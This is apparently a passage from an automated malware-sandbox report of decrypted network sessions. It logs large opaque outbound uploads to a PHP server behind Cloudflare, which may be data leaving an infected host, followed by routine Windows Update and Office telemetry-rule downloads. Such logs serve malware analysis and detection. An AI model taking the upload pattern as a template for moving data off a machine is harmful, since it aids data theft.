d3 8b 83 20 47 76 e0 10 78 36 Data Ascii: QXS,JG5Q+hh)=UvW]t=<%oDwqh<-\|@^1b@t{4=I:"Z D1(%ES[Ng%WjIZ\9v8sL w\:o[ZcWqs+<S^8s'i]{!8\YZ27$XZ?TWd\|Bgx Gvx6
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: d6 0e 16 8a b1 5d f3 ad 08 ce 17 21 8e 58 ec 3b 45 ab a6 d8 3d 53 5c 89 32 e9 97 0f 91 0c 31 1c 23 be f6 be 96 eb 39 07 e9 d6 0d 36 6d 62 ee 5c c6 05 f5 7b f0 e8 68 15 91 64 b8 1c 14 2b a8 0b f5 4a b9 2f f0 5f 3c 52 ca e0 ef b9 f2 7b c6 e7 1e 84 48 9e 43 e7 46 77 16 38 7e be f3 45 b0 c9 89 4f e2 8b 0e 45 93 c3 33 d3 66 bf c4 a6 d8 73 ca 99 e1 c5 70 c1 b9 cf f5 c1 5c 5b 37 65 63 9d da ea af 24 f9 fc bd a4 aa e7 fd fe ee 09 ee 53 06 0f 0f e3 8f 53 d5 d9 b7 9f 94 0f 8b ff 71 55 1b 43 0e 3f 3c 5a 86 36 ce 23 36 34 22 ae ee 15 b3 a9 a9 99 8a bc a0 e3 f5 bb 51 dc 67 7d 78 a1 15 81 f7 dd 54 5f fa f9 87 2f 94 74 b9 a8 c5 a9 b2 c9 b5 20 96 7f 79 dc a2 6a 4f 65 d5 11 0e 8d c4 7c af f5 8f d1 ce 0c 9f 7f b8 69 2a 76 b3 73 2e 84 81 20 4e 86 cc 0f fd 8e d2 f1 1b b2 97 Data Ascii: ]!X;E=S\21#96mb\{hd+J/_<R{HCFw8~EOE3fsp\[7ec$SSqUC?<Z6#64"Qg}xT_/t yjOe\|i*vs. N
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: 5e 4f 6d 1c 97 ff 95 29 89 ff 00 12 f6 ec fd 15 bd f9 2e b3 b9 91 73 74 39 89 56 66 65 ac 0a 2e 3b bc 50 bd 1c 8c db 36 fa 26 2b c1 c3 5b 99 66 a4 e7 bb 78 70 c1 5b 4d f9 b2 0d c9 8c e1 d2 1b 2c cc 98 3c 65 30 07 fd 19 c2 99 12 e6 db 21 98 4f ca 01 db 73 dc c3 2e 88 37 8d 44 1a fd d4 76 7e 31 70 d9 43 f7 80 e8 d0 09 9a 5c 2c 6b 58 56 2f ed 05 cc eb ab 4e 34 ee 88 7e 39 4a e4 a0 c5 73 32 dd 8e d3 d4 a7 6f 37 a5 5e 6e 79 14 ac aa 09 55 fe 7e a1 a9 2b ca 78 71 bb 52 dc e3 5e 80 5d f1 8d fa 47 df f9 80 a8 92 19 c4 b8 a1 8a 01 2f 18 83 07 43 a8 43 63 83 2f bb a9 4e c0 df fc dc e5 3b a5 17 8d 1d 97 d4 5d 81 d8 85 81 cd 37 69 b2 37 45 d6 62 6b 5e 1e 39 66 7f f9 5e cd 6f de 5c 55 e2 df 23 3b 03 9f 5e 3c 3c 9e 7c 45 0c ab 8d 37 13 d3 62 9b 4d 7f 0e 91 11 91 39 35 Data Ascii: ^Om).st9Vfe.;P6&+[fxp[M,<e0!Os.7Dv~1pC\,kXV/N4~9Js2o7^nyU~+xqR^]G/CCc/N;]7i7Ebk^9f^o\U#;^<<\|E7bM95
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: 22 d5 db 8d 83 1d 45 7a 82 e6 b9 97 6e 6a d8 97 f8 5b 14 6b 23 6f da e4 0e e9 a6 23 43 dd b5 4c 28 45 e1 27 57 98 45 6a e6 de b3 bd a2 0b f2 ee 3c d4 ef f7 4e 1f 04 41 fd 16 5e 81 9c ea f3 ed 3d de bd c9 28 50 3b 88 04 32 82 59 a4 fb cb 0b a9 30 aa 63 8e 2d b3 47 92 e1 0e 41 1f 2d c3 5a 3b b2 0d b7 ca c5 9d f1 11 a4 d1 03 1e 01 3c bb 0f f2 39 7b 91 c2 7e 3d 31 bb fd e5 4e 99 c6 eb dd a9 b2 71 4b f7 1b 59 b4 e2 13 08 75 c6 3c 5c 0e e4 a0 d9 d9 d7 31 db 79 1a de e3 f7 c2 3a be a4 85 ec 33 00 cd ca bc d7 5e 7f 15 e0 1a 01 41 7b c1 2c 1f 58 83 71 de ec 06 1e 59 c8 f2 0c 50 f8 0b d9 ab 08 66 71 6c 4d 88 08 6a b4 c6 a9 4e c4 9d 66 47 db c6 d7 51 20 47 05 d1 b9 aa 6f 69 f7 2a a0 ce e9 37 b6 0d d5 f5 e1 a8 89 43 c4 f3 e0 88 3e 61 8f e7 24 39 c0 67 16 e5 0b 48 43 Data Ascii: "Eznj[k#o#CL(E'WEj<NA^=(P;2Y0c-GA-Z;<9{~=1NqKYu<\1y:3^A{,XqYPfqlMjNfGQ Goi*7C>a$9gHC
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: 5f 81 b4 ab 45 4d 3a 89 33 bc cd 01 75 f5 e4 a5 b9 1d f6 ec f1 87 f1 52 f7 de 76 a9 2f c8 e9 2f b8 4e 88 34 ee b8 53 75 41 a7 e6 e3 b9 82 82 7d 8e 91 29 d2 68 9f ab f8 49 1e 01 31 62 e1 d1 ef ea 22 77 44 ae ec 76 0e a7 4f 0c 29 90 9e 4d 15 c4 50 8b 44 c1 be 36 1a 32 68 e8 bc 6a 17 8a 9a 06 27 02 c3 98 d0 77 6b e7 12 68 0f 60 50 20 00 bd 39 68 2e 6e 99 35 31 80 d3 d4 f4 1d 60 d4 a8 2c 82 96 33 20 eb 5f 8f a4 3e 10 e1 24 80 f6 86 06 2b 8d 42 ae 1f 2e 49 4d 85 67 83 76 63 a2 ff d6 05 80 1e 79 22 40 98 01 9f a4 d6 72 68 f2 31 1a d3 c2 1e 3f be ae 73 dd df 29 b6 de 9f 74 bf 54 db 09 98 8d 29 e5 02 78 01 92 0e 11 2b d9 85 8f 65 03 2f da 99 cf 26 17 26 9e 21 1a 13 60 44 50 d7 b1 6b 9e f7 10 91 7b 75 7a b0 ba 1c 49 2e 1c 31 15 9d 9c c2 8f 07 5e d6 2b 7c 18 46 6e Data Ascii: _EM:3uRv//N4SuA})hI1b"wDvO)MPD62hj'wkh`P 9h.n51`,3 _>$+B.IMgvcy"@rh1?s)tT)x+e/&&!`DPk{uzI.1^+\|Fn
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: b0 a7 cc 23 43 6a bf 15 48 ff 01 17 28 bb a6 72 1b 7a 5d ae 1e 6e 05 14 c4 59 74 f1 25 89 db c4 13 fd 4f 5f 9d 09 60 a6 95 a3 e3 e1 a8 1f 1f 52 1d bb 0f 1c 41 a3 7c 1d 3d 26 9c f2 f7 dd be eb 54 20 fa cf fd b4 e9 da a4 33 6a 8b 7a 83 72 3b 2a 27 92 0c 77 51 7a 62 49 22 ed 43 78 ad e5 b5 9a eb 89 e7 b6 93 99 31 f2 96 9c f0 9a 33 a3 81 fa 8b 31 6f dd 59 a7 a2 2c 5b 89 e1 e7 5c cc 1b 63 2b 82 76 55 34 5c 31 28 85 e8 56 94 9a 85 bc 8b bc a0 bc 8b 01 d0 74 cb 95 4d 88 ea 6b d4 cd b0 55 65 68 66 e7 08 16 52 1e b5 52 ed 44 81 e7 0d 3f e3 83 b6 59 1d 94 02 62 d4 db 41 57 31 71 3f 4a 32 2f bc be 60 c2 d9 e7 34 3d 95 7d f2 0d 2f a9 eb 02 06 fb f6 7e a4 bf b3 93 a0 bd ca e4 5e 39 97 fd 2b ca fc a8 4d 1d fd 67 c7 83 0b 70 f8 b3 55 93 17 82 5a d0 39 28 74 1c 7f 2e 9a Data Ascii: #CjH(rz]nYt%O_`RA\|=&T 3jzr;*'wQzbI"Cx131oY,[\c+vU4\1(VtMkUehfRRD?YbAW1q?J2/`4=}/~^9+MgpUZ9(t.
2024-11-22 00:02:37 UTC	15331	OUT	Data Raw: cb 0c e8 75 65 85 bc e7 41 9e 7c ba 39 5b 4f 02 6a e5 5b 8e ca 8d e2 db dc 7f 45 33 07 79 d5 74 5e 60 cb 3b ae 77 68 57 6f 84 10 d3 33 7d a5 f2 24 af da be ff 20 2f 79 b0 4c 67 c4 6a 24 6a 27 fb 22 3b c8 c0 6d ee d6 12 ad 72 cd 2a 74 e0 3a 75 36 73 7d fc 4e cb 80 73 33 ba 32 3f 4d 5c 21 9a e9 89 62 7b 02 98 3d 3b c3 1e 9c d5 e7 2c 21 d8 5d 5a e1 a5 4b ec 74 c3 e7 10 b3 f7 a3 af 34 a0 54 44 53 33 ca f8 ba a0 bf f7 45 77 7f d7 bb fc 32 97 2a 0f ea ba 78 68 0d 17 ed 3c c2 73 fc 04 bf ed e2 7f 1d 9d a5 d0 a9 4d 06 9b 8e 6c d6 2b 0b b2 49 8f 91 3b d5 12 02 04 60 e4 e2 07 48 a0 83 66 7a 40 81 d5 bf 78 ca 2b 88 11 10 4d f0 ae 7b c0 cc 0f 0b 70 bb ef ab a9 02 6f fc 78 5e b8 45 8e ee 5a 96 39 5b f5 ed de d5 4c c9 52 d6 c6 e7 1f 16 0c ec 7c 36 b7 0b f7 94 b2 3e 66 Data Ascii: ueA\|9[Oj[E3yt^`;whWo3}$ /yLgj$j'";mrt:u6s}Ns32?M\!b{=;,!]ZKt4TDS3Ew2xh<sMl+I;`Hfz@x+M{pox^EZ9[LR\|6>f
2024-11-22 00:02:42 UTC	1011	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o32i6jhl8prhptmp15e99dbq93; expires=Mon, 17-Mar-2025 17:49:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tn35Z1tj16wb238YdfkHB6E%2BucXM57zuTGTf9FsRuhLztz4quZXZtCspaRMOm9VxF4unMW4mGalk7yCUHtMRHjBMU6toDmB9ik3R%2BvrZmuNxNwyPimfCP2ATXx%2Fug%2F1g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e64a6d6cc2f4bcd-BUF alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=96888&sent=255&recv=570&lost=0&retrans=0&sent_bytes=2830&recv_bytes=553302&delivery_rate=20545&cwnd=32&unsent_bytes=0&cid=5eead1062e49810e&ts=5748&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49745	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:37 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SPWne69HwSwaO+u&MD=RFePRBpH HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 00:02:38 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: c9e0071a-77fa-451f-a34e-391c84fda958 MS-RequestId: f1c662b4-0596-4c48-879a-a2a0618ba38a MS-CV: IsuMPbOV8Ua1bWGA.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 00:02:37 GMT Connection: close Content-Length: 24490
2024-11-22 00:02:38 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-22 00:02:38 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:38 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:38 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000238Z-178bfbc474bmqmgjhC1NYCy16c00000002b0000000003g6r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:38 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:38 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:38 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:38 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000238Z-178bfbc474b9xljthC1NYCtw9400000001zg00000000xhff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:38 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:38 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000238Z-174c587ffdf4zw2thC1TEBu34000000000ng00000000vmug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:38 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000238Z-178bfbc474bv587zhC1NYCny5w000000020g00000000mvks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:38 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000238Z-178bfbc474btvfdfhC1NYCa2en00000002c00000000006gp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:38 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:40 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:40 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: c2180679-501e-008f-16bc-3b9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000240Z-178bfbc474btrnf9hC1NYCb80g000000029000000000kvyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:40 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
